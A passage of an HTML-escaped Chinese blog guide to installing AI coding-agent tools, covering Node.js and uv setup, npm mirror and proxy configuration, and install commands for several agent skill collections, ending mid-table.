&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#mcp-%E7%B1%BB%E5%B7%A5%E5%85%B7&quot;&gt;MCP 类工具&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#9-playwright-mcp%E6%B5%8F%E8%A7%88%E5%99%A8%E8%87%AA%E5%8A%A8%E5%8C%96-34k&quot;&gt;Playwright MCP（浏览器自动化）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#playwright-cli--skills%E7%BC%96%E7%A0%81%E4%BB%A3%E7%90%86%E6%8E%A8%E8%8D%90-&quot;&gt;Playwright CLI + Skills（编码代理推荐）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#10-agent-browservercel-%E6%B5%8F%E8%A7%88%E5%99%A8-cli-35k&quot;&gt;agent-browser（Vercel 浏览器 CLI）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#11-chrome-devtools-mcp%E5%89%8D%E7%AB%AF%E8%B0%83%E8%AF%95-44k&quot;&gt;Chrome DevTools MCP（前端调试）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#12-linear-mcp%E4%BB%BB%E5%8A%A1%E7%AE%A1%E7%90%86&quot;&gt;Linear MCP（任务管理）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#13-jira-mcp%E4%BB%BB%E5%8A%A1%E7%AE%A1%E7%90%86&quot;&gt;Jira MCP（任务管理）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#14-postgresql-mcp%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9F%A5%E8%AF%A2&quot;&gt;PostgreSQL MCP（数据库查询）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#15-ssh-mcp-server--classfangssh-mcp-server&quot;&gt;SSH MCP Server — classfang&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#16-ssh-mcp--tufantuncssh-mcp&quot;&gt;SSH MCP — tufantunc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#python-%E5%BA%93%E7%B1%BB%E5%B7%A5%E5%85%B7&quot;&gt;Python 库类工具&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#17-browser-use%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8E%A7%E5%88%B6-99k&quot;&gt;browser-use（自然语言浏览器控制）&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;agent-tools-skills-guide&#x2F;#%E5%90%84%E4%BB%A3%E7%90%86-mcp-%E9%85%8D%E7%BD%AE%E5%AF%B9%E7%85%A7%E8%A1%A8&quot;&gt;各代理 MCP 配置对照表&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;环境准备前置依赖&quot;&gt;环境准备（前置依赖）&lt;&#x2F;h2&gt;
&lt;p&gt;本节涉及的工具依赖 &lt;code&gt;npx&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;npm&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;node&lt;&#x2F;code&gt; 和 &lt;code&gt;uvx&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;uv&lt;&#x2F;code&gt;，请先确保以下环境就绪。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;node-js-npm-npx-an-zhuang&quot;&gt;Node.js + npm + npx 安装&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;npx&lt;&#x2F;code&gt; 随 Node.js 自带，安装 Node.js 即可获得。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方法一：NodeSource（推荐，Linux）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 Node.js 22 LTS
curl -fsSL https:&amp;#x2F;&amp;#x2F;deb.nodesource.com&amp;#x2F;setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs

# 验证
node --version    # v22.x
npm --version     # 10.x
npx --version     # 10.x
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：nvm（多版本管理）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 nvm
curl -o- https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;nvm-sh&amp;#x2F;nvm&amp;#x2F;v0.40.1&amp;#x2F;install.sh | bash
source ~&amp;#x2F;.bashrc

# 安装并使用 Node.js 22
nvm install 22
nvm use 22
nvm alias default 22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法三：fnm（快速版本管理，Rust 实现）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# macOS&amp;#x2F;Linux
curl -fsSL https:&amp;#x2F;&amp;#x2F;fnm.vercel.app&amp;#x2F;install | bash
source ~&amp;#x2F;.bashrc

fnm install 22
fnm default 22
fnm use 22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法四：直接下载二进制（Linux 通用）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载 Node.js 22 LTS 预编译包
wget https:&amp;#x2F;&amp;#x2F;nodejs.org&amp;#x2F;dist&amp;#x2F;v22.19.0&amp;#x2F;node-v22.19.0-linux-x64.tar.xz
tar -xf node-v22.19.0-linux-x64.tar.xz
sudo mv node-v22.19.0-linux-x64 &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;nodejs
sudo ln -sf &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;nodejs&amp;#x2F;bin&amp;#x2F;node &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;node
sudo ln -sf &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;nodejs&amp;#x2F;bin&amp;#x2F;npm &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;npm
sudo ln -sf &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;nodejs&amp;#x2F;bin&amp;#x2F;npx &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;npx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;npm-jing-xiang-yuan-mirror-registry-pei-zhi&quot;&gt;npm 镜像源（Mirror Registry）配置&lt;&#x2F;h3&gt;
&lt;p&gt;国内网络环境下建议配置 npm 镜像加速。以下为常用源：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;镜像&lt;&#x2F;th&gt;&lt;th&gt;URL&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;npmmirror（阿里云）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;registry.npmmirror.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;国内最全，推荐&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;腾讯云&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;mirrors.cloud.tencent.com&#x2F;npm&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;腾讯维护&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;华为云&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;repo.huaweicloud.com&#x2F;repository&#x2F;npm&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;华为维护&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;npm 官方&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;registry.npmjs.org&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;默认（需代理）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;方法一：npm config 设置（全局生效）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 设置镜像（以阿里云 npmmirror 为例）
npm config set registry https:&amp;#x2F;&amp;#x2F;registry.npmmirror.com

# 验证
npm config get registry

# 恢复官方源
npm config set registry https:&amp;#x2F;&amp;#x2F;registry.npmjs.org
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：nrm（源管理工具）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;npm install -g nrm

nrm ls                          # 列出所有可用源
nrm use npmmirror               # 切换到阿里云镜像
nrm test                        # 测速
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法三：单次使用（不修改全局配置）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;npm install --registry=https:&amp;#x2F;&amp;#x2F;registry.npmmirror.com &amp;lt;package&amp;gt;
npx --registry=https:&amp;#x2F;&amp;#x2F;registry.npmmirror.com skills add &amp;lt;repo&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;npm 代理配置（如需代理访问外网）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;npm config set proxy http:&amp;#x2F;&amp;#x2F;192.168.2.100:10808
npm config set https-proxy http:&amp;#x2F;&amp;#x2F;192.168.2.100:10808

# 取消代理
npm config delete proxy
npm config delete https-proxy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;python-uv-uvx-an-zhuang&quot;&gt;Python + uv&#x2F;uvx 安装&lt;&#x2F;h3&gt;
&lt;p&gt;部分 MCP 工具（如 &lt;code&gt;mcp-atlassian&lt;&#x2F;code&gt;）使用 Python，通过 &lt;code&gt;uvx&lt;&#x2F;code&gt; 运行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;安装 uv（Python 包管理器）：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Linux&amp;#x2F;macOS
curl -LsSf https:&amp;#x2F;&amp;#x2F;astral.sh&amp;#x2F;uv&amp;#x2F;install.sh | sh
source ~&amp;#x2F;.bashrc

# 或使用 pip 安装
pip install uv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;uv pip 镜像配置：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 设置 PyPI 镜像（阿里云）
export UV_INDEX_URL=https:&amp;#x2F;&amp;#x2F;mirrors.aliyun.com&amp;#x2F;pypi&amp;#x2F;simple&amp;#x2F;

# 或在 uv 配置文件中 ~&amp;#x2F;.config&amp;#x2F;uv&amp;#x2F;uv.toml
echo &amp;#x27;[pip]
index-url = &amp;quot;https:&amp;#x2F;&amp;#x2F;mirrors.aliyun.com&amp;#x2F;pypi&amp;#x2F;simple&amp;#x2F;&amp;quot;&amp;#x27; &amp;gt; ~&amp;#x2F;.config&amp;#x2F;uv&amp;#x2F;uv.toml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;统一安装工具npx-skills&quot;&gt;统一安装工具：npx skills&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;: https:&#x2F;&#x2F;github.com&#x2F;vercel-labs&#x2F;skills (⭐22k+)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;npx skills&lt;&#x2F;code&gt; 是 Vercel 推出的跨代理 Skills 统一安装工具，支持 OpenCode、Claude Code、Codex、Cursor 等 &lt;strong&gt;70+&lt;&#x2F;strong&gt; 种代理。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 基本用法
npx skills add &amp;lt;owner&amp;#x2F;repo&amp;gt; [-a &amp;lt;agent&amp;gt;] [--skill &amp;lt;name&amp;gt;] [--global]

# 支持的代理名称：opencode, claude-code, codex, cursor, ...

# 从 GitHub 安装
npx skills add JimLiu&amp;#x2F;baoyu-skills -a opencode

# 指定特定 skill
npx skills add anthropics&amp;#x2F;skills --skill skill-creator -a claude-code

# 全局安装（用户级别）
npx skills add vercel-labs&amp;#x2F;agent-skills -a opencode --global

# 列出可用 skills（不安装）
npx skills add garrytan&amp;#x2F;gstack -a codex --list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;skills-类工具&quot;&gt;Skills 类工具&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Skills 是 AI 代理的&quot;插件&quot;，通常是一个 Markdown 文件（SKILL.md）或目录，安装后代理自动加载其中的指令和工作流。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;1-skill-creatoranthropic-官方-150k&quot;&gt;1. skill-creator（Anthropic 官方）⭐150k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;anthropics&#x2F;skills&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Anthropic 官方 Skill 创建工具，位于 &lt;code&gt;skills&#x2F;skill-creator&#x2F;&lt;&#x2F;code&gt; 子目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Skill&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
npx skills add anthropics&amp;#x2F;skills --skill skill-creator -a opencode

# Claude Code
npx skills add anthropics&amp;#x2F;skills --skill skill-creator -a claude-code
# 或通过 Claude Code 插件市场
# &amp;#x2F;plugin marketplace add anthropics&amp;#x2F;skills
# &amp;#x2F;plugin install example-skills@anthropic-agent-skills

# Codex
npx skills add anthropics&amp;#x2F;skills --skill skill-creator -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;2-gstackgarry-tan-工程工作流-109k&quot;&gt;2. gstack（Garry Tan 工程工作流）⭐109k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;garrytan&#x2F;gstack&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;23 个工程团队工作流 Skill：CEO Review、代码审查、QA 测试、设计评审、发布管理等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Skills（Y Combinator CEO Garry Tan 的日常工作流）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-1&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
git clone --single-branch --depth 1 https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;garrytan&amp;#x2F;gstack.git ~&amp;#x2F;gstack
cd ~&amp;#x2F;gstack
.&amp;#x2F;setup --host opencode

# Claude Code
git clone --single-branch --depth 1 https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;garrytan&amp;#x2F;gstack.git ~&amp;#x2F;.claude&amp;#x2F;skills&amp;#x2F;gstack
cd ~&amp;#x2F;.claude&amp;#x2F;skills&amp;#x2F;gstack
.&amp;#x2F;setup

# Codex
git clone --single-branch --depth 1 https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;garrytan&amp;#x2F;gstack.git ~&amp;#x2F;gstack
cd ~&amp;#x2F;gstack
.&amp;#x2F;setup --host codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;3-baoyu-skills中文内容创作-21k&quot;&gt;3. baoyu-skills（中文内容创作）⭐21k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;JimLiu&#x2F;baoyu-skills&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;面向中文创作者的 20+ 内容生产 Skill 集合（写作、排版、翻译、AI 生成等）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Plugin + Skills&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-2&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
npx skills add JimLiu&amp;#x2F;baoyu-skills -a opencode

# Claude Code
npx skills add JimLiu&amp;#x2F;baoyu-skills -a claude-code
# 或通过 Claude Code 插件市场安装

# Codex
npx skills add JimLiu&amp;#x2F;baoyu-skills -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;4-find-skills自动推荐-skill-22k&quot;&gt;4. find-skills（自动推荐 Skill）⭐22k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;vercel-labs&#x2F;skills （&lt;code&gt;skills&#x2F;find-skills&#x2F;SKILL.md&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;根据当前任务自动推荐合适的 Skill，是 Vercel skills 生态的一部分&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Skill&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-3&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
npx skills add vercel-labs&amp;#x2F;skills --skill find-skills -a opencode

# Claude Code
npx skills add vercel-labs&amp;#x2F;skills --skill find-skills -a claude-code

# Codex
npx skills add vercel-labs&amp;#x2F;skills --skill find-skills -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;5-supabase-postgres-best-practices-2k&quot;&gt;5. supabase-postgres-best-practices ⭐2k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;perennia-regen&#x2F;wachines-skills（&lt;code&gt;skills&#x2F;supabase-postgres-best-practices&#x2F;&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;PostgreSQL 最佳实践（Schema 设计、SQL 优化、RLS 安全策略），内容来源于 Supabase 官方文档&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Skill&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-4&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
npx skills add perennia-regen&amp;#x2F;wachines-skills --skill supabase-postgres-best-practices -a opencode

# Claude Code
npx skills add perennia-regen&amp;#x2F;wachines-skills --skill supabase-postgres-best-practices -a claude-code

# Codex
npx skills add perennia-regen&amp;#x2F;wachines-skills --skill supabase-postgres-best-practices -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;6-cloudflare-skills&quot;&gt;6. Cloudflare Skills&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;jezweb&#x2F;claude-skills (⭐855)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare Workers 部署、KV&#x2F;D1 管理、Web 性能审计、Hono&#x2F;TanStack&#x2F;Vite 全栈开发等 11 个插件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Plugin&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-5&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（通过 npx skills 安装特定 skill）
npx skills add jezweb&amp;#x2F;claude-skills -a opencode --skill cloudflare-worker-builder --skill cloudflare-api

# Claude Code（通过插件市场）
# &amp;#x2F;plugin marketplace add jezweb&amp;#x2F;claude-skills
# &amp;#x2F;plugin install cloudflare@jezweb-skills

# Codex
npx skills add jezweb&amp;#x2F;claude-skills -a codex --skill cloudflare-worker-builder
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;7-open-design设计工作流--skills-集合64k&quot;&gt;7. Open Design（设计工作流 + Skills 集合）⭐64k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
